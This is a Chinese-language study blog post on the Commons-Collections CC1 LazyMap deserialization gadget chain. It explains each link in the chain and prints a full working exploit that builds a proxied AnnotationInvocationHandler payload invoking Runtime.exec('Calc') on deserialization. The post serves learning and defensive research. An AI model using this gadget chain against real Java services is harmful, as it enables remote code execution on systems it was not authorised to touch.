首页 > 其他分享 >CC1-LazyMap

CC1-LazyMap

时间:2023-08-08 23:24:30浏览次数:35  
标签:InvokerTransformer LazyMap Object CC1 Class new class

参考链接

https://y0n3er.github.io/undefined/36068.html
https://www.bilibili.com/video/BV1yP4y1p7N7/

攻击链分析

这里直接用ysoserial上的链子,和TransformedMap对比一下
可以看到,把TransformedMap改成LazyMap了,然后两个AnnotationInvacationHandler
image.png
下面分析一下gadget链子:

  1. InvokerTransformer.transform()能够执行命令
  2. LazyMap.get()能够调用xxx.transform(),xxx对象可控
  3. AnnotationInvocationHandler.invoke()调用了xxx.get(),xxx对象可控
  4. AnnotationInvocationHandler.readObject()调用了xxx.entrySet(),xxx可控制为代理对象

编写EXP

前面和TransformedMap一样,这里直接从LazyMap开始。

LazyMap.get()

get()里调用了transform(key),用了ConstantTransformer辅助类,就不用管这个key参数
image.png
map和factory都是可以控制的,factory要传那个chainedTransformer对象,map绕绕if判断就好
image.png
尝试构造EXP:

Transformer[] transformers =  new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");

image.png

AnnotationInvocationHandler.invoke()

这个invoke()实际上就是动态代理用的,创建代理对象语句Proxy.newProxyInstance()的参数里如果传了这个AnnotationInvocationHandler的对象,创建出来的代理对象不管调什么方法都会走进invoke()方法
image.png
memberValues也是可控的,这里要传LazyMap的对象lazymap
image.png

AnnotationInvocationHandler.readObject()

这里其实不一定要这个类,只要找到能控制传一个代理对象.方法()的类就行
上面知道这个memberValues是可控的,这里的我们传lazyMap对象的代理对象lazyMapProxy
lazyMapProxy.entrySet()就会走进上面的invoke()
image.png

最终EXP

public class TestCC1  {
    public static void main(String[] args) throws Exception{
        //CC1-TransformedMap
//        Transformer[] transformers =  new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
//        };
//        Transformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap<Object,Object> hashMap = new HashMap<>();
//        hashMap.put("value","Jasper");
//        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
//        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
//        aihConstructor.setAccessible(true);
//        Object o = aihConstructor.newInstance(Target.class,transformedMap);
//        serialize(o);
//        unserialize();
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        serialize(aih2);
        unserialize();
    }


    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

image.png

小结

经过之前跟的链子,这条跟起来十分轻松,主要是学习动态代理花了不少时间,基础有点差。

标签:InvokerTransformer,LazyMap,Object,CC1,Class,new,class
From: https://www.cnblogs.com/sketchpl4ne/p/17615670.html

相关文章

  • /usr/local/arm/5.4.0/usr/bin/../libexec/gcc/arm-none-linux-gnueabi/5.4.0/cc1: er
    arm-linux-gcca.c报错/usr/local/arm/5.4.0/usr/bin/../libexec/gcc/arm-none-linux-gnueabi/5.4.0/cc1:errorwhileloadingsharedlibraries:libmpc.so.3:cannotopensharedobjectfile:Nosuchfileordirectory安装arm-linux-gcca.c没安装g++解决方法:重新安装g++......
  • TI 芯片CC1310系列问题答疑分享
    1.CC1310的发射、接收、休眠功耗、供电范围是多少?1)TX:13.4mA@+10dBm;23mA@+14dBm2)RX:5.4mA3)MCU电流:2.5mA@48MHzARMCortex-M34)Sensorcontroller电流:400uA+8.2uA/Mhz5)休眠电流:0.7uA(RTC与RAM保持)6)深度休眠电流:0.185uA7)供电范围:1.8V~3.8V2.CC1310支持的无线频段、速率、距离、发射功......
  • CC1链子
    <1>环境配置因为CC1链在jdk8u71后就修复了因此我们复现就利用8u65的版本去官网下载jdk8u65https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html然后去下载openjdkhttp://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/把下......
  • gcc: fatal error: cannot execute ‘cc1plus’: execvp: No such file or directory
     01、安装 HTSeq软件出现如下报错,编译失败 02、原因是没有c++编译器,解决方法:aptinstallg++##安装c++编译器 03、再次安装HTseq,报错消失。 ......
  • 反序列化漏洞 之 CC1链(审计分析)
    反序列化前提1、被序列化和反序列化的类需要实现Serializable序列化接口2、并重写readObject方法,在重写的readObject方法中执行objectInputStream.defaultReadOb......
  • CC1链详解
    前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教。谢谢!环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了下载链接:https://www.oracle.com/cn/java/technolog......
  • CC1101RGPR学习笔记:工作原理简单入门
     众所周知,在IOT的市场应用中,从通信协议细分的话,有SUB-1G,2.4G,3G,4G,以及最新推出的5G,虽然5G通信协议已经在崭露头角,但是不同的通信协议在不同的应用领域之中还是占据着一......
  • java反序列化从0到cc1
    前言java安全已成为安全从业者必不可少的技能,而反序列化又是Java安全非常重要的一环。又是本文将从0基础开始,带着大家层层递进,从java基础到URLDNS链到最终理解反序列化cc1......
  • [java安全基础 03]CC1
    Commons-Collerctions链条ApacheCommons-Collections简介ApacheCommonsCollections是一个扩展了Java标准库里的Collection结构的第三方基础库.它提供了很多强有力的数......
  • CC1,3,6回顾
    前言前面陆续学习了CC1,CC3,CC6,以及TemplatesImpl以及改造,有点乱,正所谓温故而知新嘛,所以这篇就回顾一下,捋一捋,解决一些细节问题。CC1由于CC1要介绍CC链的几个关键类,所......